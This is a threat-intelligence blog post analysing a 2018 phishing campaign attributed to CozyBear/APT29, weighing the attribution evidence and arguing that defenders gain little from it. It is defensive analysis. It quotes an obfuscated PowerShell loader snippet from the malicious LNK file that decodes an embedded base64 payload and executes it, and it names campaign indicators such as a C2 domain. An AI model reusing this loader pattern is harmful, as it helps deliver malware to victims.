

CozyBear – In from the Cold?

pylos.co/2018/11/18/cozybear-in-from-the-cold/

Joe

11/18/2018



On 15 November, something long-awaited (and presumably expected) came to pass in the information security community – CozyBear/APT29/CozyDuke/”The Dukes”/”Office Monkeys” were (or seemed to be) back. Subsequent reporting defined the scope of the event: a large phishing campaign on 14 November targeting multiple organizations spanning “military agencies, law enforcement, defense contractors, media companies and pharmaceutical companies,” among other entities. The campaign itself offered a number of items that screamed attribution to CozyBear – reuse of PowerShell scripting techniques from past campaigns, leveraging PowerShell-laden LNK files for initial activity, and some possible overlap in infrastructure creation. Essentially, this was almost too easy – which means, we (the cybersecurity community) should probably start asking questions.

Skepticism crept in fairly early on for this event – and for good reason. Within information security and threat intelligence circles, CozyBear/APT29/Dukes/etc. is commonly perceived as the “senior partner” in Russian-linked threats (excepting perhaps Turla). The combination of mass scale, little variation in phish/lures, and regurgitation of past tradecraft all present a curious and confounding issue: is this the same adversary, an attempt by some other entity to *look* like a historical adversary, or something else entirely?

From a purely technical perspective, available evidence to this author at the time of writing indicates a very narrow range of variation for attacker techniques. Phishing messages came from multiple domains but all from the same mail server (mx1.era.citon.com, hosted at

216.251.161\198), leveraging the same theme of an “unclassified” message from the US Department of State, while using nearly identical links (as opposed to per-victim link structures to track click-throughs) for the malicious payload. Furthermore, payloads captured to date all feature identical naming schema – a LNK file (ds7002.lnk) dropping and launching via various PowerShell scripts a DLL (cyzfc.dat) to execute a variant of Cobalt Strike in memory – indicative of an almost commodity-like phishing expedition with little (if any) variation among victims. From an operational security and evasion standpoint, this seems simply bonkers for an “advanced”, stealthy adversary. While the campaign in question leveraged a compromised mail server for delivery and compromised web server to deliver a second stage, this still mapped to fairly static delivery and payload items, while the 2016 event at least used at least five different “themes” or “waves” and multiple compromised websites (albeit all with “PDF” in their name) to differentiate and throw off detection and response.

Extending further, the intrusion event progresses to the delivery of a malicious LNK file embedded in a ZIP archive – again, reminiscent of the 2016 event with its downloaded ZIPs holding double-extension files like “37486-the-shocking-truth-about-election-rigging-in-america.rtf.lnk”. Except, the 2016 campaign at least featured password-protected ZIP files (password contained within the message) along with Office-based Macro downloaders and anti-virtualization checks. Meanwhile, the 2018 event’s anti-analysis largely hinges on file renaming and several layers of obfuscation. As shown in the following code snippet, the primary defense mechanism for this intrusion is determining if the LNK file has been renamed (as one would expect for samples downloaded from a commercial virus database), combined with some obfuscation to defeat static analysis:

```
$ptgt=0x0005e2be;$vcq=0x000623b6;$tb="ds7002.lnk";  
if (-not(Test-Path $tb)){  
$oe=Get-ChildItem -Path  
$Env:temp -Filter $tb -Recurse;if (-not $oe)  
{exit}[IO.Directory]::SetCurrentDirectory  
($oe.DirectoryName);$vzvi=New-Object IO.FileStream  
$tb,'Open','Read','ReadWrite';$oe=New-Object byte[]  
($vcq-$ptgt);$r=$vzvi.Seek($ptgt,  
[IO.SeekOrigin]::Begin);$r=$vzvi.Read  
($oe,0,$vcq-$ptgt);$oe=  
[Convert]::FromBase64CharArray($oe,0,$oe.Length);  
$zk=[Text.Encoding]::ASCII.GetString($oe);iex $zk;
```

Compared to the multiple levels of evasion and anti-analysis deployed in the 2016 event attributed to CozyBear/APT29, this would appear to be somewhat of a regression. Of course, no “APT” or other entity ever gets “bonus points” for being more technically sophisticated or daring, but moving backwards – if only slightly – does seem quite strange.

This strangeness continues when it comes to network infrastructure. CozyBear malware/tool hosting and command and control (C2) activity includes a wide variety of techniques: from using legitimate services (such as Twitter and GitHub) to leveraging compromised, but legitimate, domains that fit the adversary’s desired naming schema. In most cases though,

the entity has largely avoided the use of self-registered, attacker-owned infrastructure following typical registration and hosting patterns – that pattern of activity belongs to FancyBear/APT28. It would be notable that the SSL/TLS certificate associated with the C2 domain for the recent campaign (pandorasong\.com) moves away from the certificate pattern previously observed in past FancyBear operations, but we can probably assume the group looked to change previous patterns following the ThreatConnect report linked previously. In some respects, one could say this campaign blended aspects of Cozy and FancyBear for infrastructure purposes – which would seem to be indicative of a third party attempting to emulate the techniques of others (and confusing their bears).

So the question becomes – what now? Overall, from a purely behavior-based perspective, the activity observed matches *what CozyBear/APT29 looked like in one point in time*: delivery and initial exploitation/installation all reflect items observed for the past two (or more) years, in various respects. Yet such a view assumes that CozyBear remained static in tactics, techniques, and procedures (TTPs) through this extended period of little (or no) *observed* activity – which seems unlikely, if not fanciful. Even assuming that the personas behind CozyBear/APT29 are lazy and merely desire to be “good enough” to achieve mission success, remaining completely static in terms of general TTPs for two years appears to be careless at best, and career suicide at worst. To distill matters to a fairly basic level, we are left with two choices: either CozyBear has remained static in terms of TTPs and tradecraft for an extended period of time, or the recent activity represents another entity working to mimic CozyBear-like activity based on the last widely-observed campaigns attributed to this entity. One *could* also argue for a third possibility: that this is an elaborate “double-fake” of CozyBear pulling off a brief campaign with a poor version of the group’s old TTPs to make people *think* this is actually some other entity.

Let’s start with the first possibility: Cozy just got kind of... cozy. Why bother innovating if the same old things still work? For what it is worth, the methodology deployed *is* still rather effective: using a legitimate source for phishing messages and hosting initial payloads on a compromised server avoids reputation issues on “new” infrastructure. Traffic is all wrapped in HTTPS avoiding most network security monitoring (NSM) instances except limited metadata and those rare instances where organizations break SSL/TLS connections. The payload itself reasonably evaded detection – while VirusTotal engines are not necessarily the “latest and greatest” for commercial AV detections, looking at both the LNK file (3 detections on 14 November, all fairly generic and none of the major vendors) and the DLL (4 detections on 14 November, interestingly enough mostly from machine learning-based solutions) these “recycled” TTPs seem pretty effective. Accepting the assumption that no one gets bonus points for “style”, why *wouldn’t* CozyBear simply use legacy – but still effective – tradecraft instead of spending cycles and resources to develop (and then burn) new capabilities? Of course, this still leaves some other oddities out there: the timing (awfully similar if not exact to the post US election campaign from 2016), the expanded targeting (the entity has largely

focused on political/military/government targets previously), and the migration to a modified publicly-available post-exploitation framework. Essentially, there are enough data points on either side of the argument to make coming to a definitive conclusion quite difficult.

Given this uncertainty, our second possibility is certainly within scope: TTPs (including code samples and other artifacts) from 2016 events are publicly available, along with the basis (Cobalt Strike framework) for post-exploitation activity. Unlike compiled binaries where source code is often lacking, any suitably skilled adversary could capture and repurpose tradecraft and technical items from 2016 CozyBear events, modify them slightly, and reuse them in another campaign. The wide net cast by this campaign and lack of significant variation in phishing messages and malicious links hint at something less sophisticated than past CozyBear behavior (and perhaps a “rushed” operation) while the relative ease in which the various payloads can be analyzed up to final post-exploitation stages (compared to the anti-virtualization and anti-analysis checks used in past activity) would seemingly indicate a similar but not-quite-the-same activity. But based on what was stated in the last paragraph, why does CozyBear (or any adversary) *need* to keep “pushing the envelope” and innovating if recycled versions of relatively old TTPs can still be effective? In other words, just because TTPs are recycled doesn’t mean this is another entity repurposing CozyBear TTPs. While many might take the stand that analysts are obligated to prove that the activity aligns to CozyBear, we must equally consider the requirement to prove that such activity aligns to another, unknown entity – which is, in many respects, a very hard case to make given the increased uncertainty (just *who* would do this?) surrounding this possibility. Ultimately, the “false flag” narrative seems plausible, but is not overwhelmingly likely given available information.

So what of our third possibility – the “three dimensional chess” situation where CozyBear acts like a facsimile of itself to lull others into *thinking* this is some sort of false flag operation when really this aligns to something more? Several tweets and private discussions indicate some justification for this, along with past observations of CozyBear activity using “noisy” events to hide more selective and targeted activity. This is certainly very plausible, and given the breadth of phishing activity and the response – much of the security community and relevant press was very quick to react and devote significant resources to the event – this seems a potentially powerful misdirection tactic. Similar to an overzealous immune response, the reaction to “obvious” indicators of malicious behavior associated with a high-profile adversary can easily be used to either mask other operations, lure responders to reallocate resources from one investigation (say, the “true” CozyBear target) to chasing the public event of the moment, or some other scenario fitting within the concepts of military deception. Yet all of these fail Occam’s razor in terms of simplicity and elegance – that doesn’t mean this theory is incorrect, but the burden of proof to make this case could be considered higher than other, more direct scenarios. So while this is an extremely enticing theory, this also appears (in my opinion) to be the one where “making the case” (absent direct evidence from a victim environment) is most difficult.

So we have covered several possibilities for just where this activity may have originated – based on the evidence at hand, can we find one that appears stronger or more likely than the rest? Unfortunately for those seeking a definitive selection between the above choices, not only can I not make a definitive, evidence-based decision between the them, but an overview of available data and commentary indicates that no one else can either – or if they can, they’re not telling anyone outside of a (very high) paywall. Quite simply: this campaign is worrying in scope, perceived intention, and potential attribution – but the oddity of TTP recycling and “shotgun” targeting for a perceived “advanced” and skilled actor is not merely striking, but off-putting. Furthermore, we have recently observed increased efforts by state-linked threats to mimic *other* state-linked threats. Based on the current threat landscape, all of the above seem quite plausible, if not equally possible.

From my perspective, we (network defenders and threat intelligence analysts) are left at a loss in the immediate term without more evidence – up to and including the sort most often associated with spooky three-letter agencies in the greater Washington, DC area (although the Dutch are giving these entities a run for their money). Short of having a glimpse of who is actually “on keyboard” and similar such nuggets, piercing the fog surrounding this event will be painful and time-consuming – and even then, dependent upon not a little bit of luck at finding just the right pieces of evidence to make a solid technical case to support one of the above scenarios.

The next question for me then is: should we be concerned about faulty or incomplete attribution based on the confusing aspects of this case from a defensive perspective? Well, if you have followed my past thoughts on the practice of threat intelligence and attribution, the answer for the vast majority of network defenders is: no. There are *definitely* exceptions to this – both in terms of organizations (governments and national security personnel certainly want to know “who’s responsible?”) and sometimes defensive or response goals. Thus for some entities there will be great value in going down the “rabbit hole” of attempting to determine with accuracy what entity is responsible for the event in question – and it also just so happens that these entities typically have both the resources and information sources required to pursue this line of inquiry. But ultimately – this work will take time, effort, and resources, several (or all) of which most organizations (including those targeted in this event) simply do not have in abundance.

For the rest of us, whether CozyBear or FancyBear or some sort of Panda or APTxx is responsible not only doesn’t materially matter for immediate defensive needs, but it may even prove to be a critical distraction. Instead, we can look at the fundamental behaviors exhibited in this campaign, and utilize these for an immediate response against initial intrusion activity. Separate from that... what else do we, as “on the ground”, front-line defenders, really need to know? Irrespective of whether this is CozyBear or some other entity, the activity is without question malicious. Whether a mass campaign by an adversary or a feint designed to distract from something else, the goals and requirements for conducting network defense and response remain the same: identify the target, determine

scope of breach, and remediate to a known-good state within the defended network. We as a community can spend an inordinate amount of time discussing just how many angels can dance on the head of this pin when it comes to attribution – but at the end of the day, aside from a select few of us in very particular circumstances, *it just doesn't matter*.

Some of you will read this and view my conclusion as some sort of “cop out” from actually solving the perceived problem of, “Is CozyBear back, and if so why?” Yet I actually find the position adopted here to be the more gruelling one to embrace and defend, because our inclination as human beings, with our penchant for retributive justice, cries out to identify, “WHO IS RESPONSIBLE?” Unfortunately, adopting a position that recognizes not just what matters in the immediate sense of network defense operations but also the limitations of what it is we can (definitively) know about the intent and authorship of such actions (barring mind-numbingly bad operational security failures), such a desire will more often than not crash upon the rocks of uncertainty. Essentially – working with imperfect knowledge, and possessing limited resources to address various gaps in such knowledge, what should we, as information security professionals defending networks or clients, prioritize?

I would stridently argue that identifying “who” is responsible and precisely “why” represent academic questions – interesting and potentially valuable in limited circumstances, but sufficiently divorced from everyday requirements as to make them superfluous and distracting. Rather, aside from ascertaining a broad sense of intent (Ransom? Theft? Disruption or destruction?), the goal of defenders (including those operating within the specialist field of threat intelligence) is to identify the attack vector and its technical, provable implications, and then determine the means to defeat and roll-back the intrusion. This more limited approach takes into consideration not merely what is immediately (and concretely) actionable, but also what is knowable given the information both at hand and that might be reasonably discovered.

So to circle back to the title of this post – is CozyBear “in” from the cold? Quite frankly: I don't care. Someone is certainly active and adopting TTPs reflecting past activity associated with CozyBear – which in many respects is an unalloyed “good thing” as we can easily identify and trace various aspects of the initial intrusion event. Beyond this, it is imperative for defenders to continue monitoring this activity to determine just what the next stages of action are for this campaign and the implications of the post-exploitation technique adopted for the event. But beyond these concrete, technical items, we enter into a morass of speculation, uncertainty, and (even when sufficient information is at hand) academic declaration so far divorced from the needs of information security as to make an emphasis on “who” based discovery in this instance almost negligent in light of primary duties. Thus, my take-away for this event, and all the attention it has received thus far, is to treat it seriously given it is a wide-ranging intrusion attempt deploying effective (if aged) methods for initial intrusion – and go no further. Governments, researchers, and various other persons will spend many cycles

trying to burrow into this event to discover its secrets – but while they do so, those devoted to monitoring, defending, and (when necessary) recovering networks should focus on primary goals: defeating intrusions, no matter where they emanate from, or who is responsible.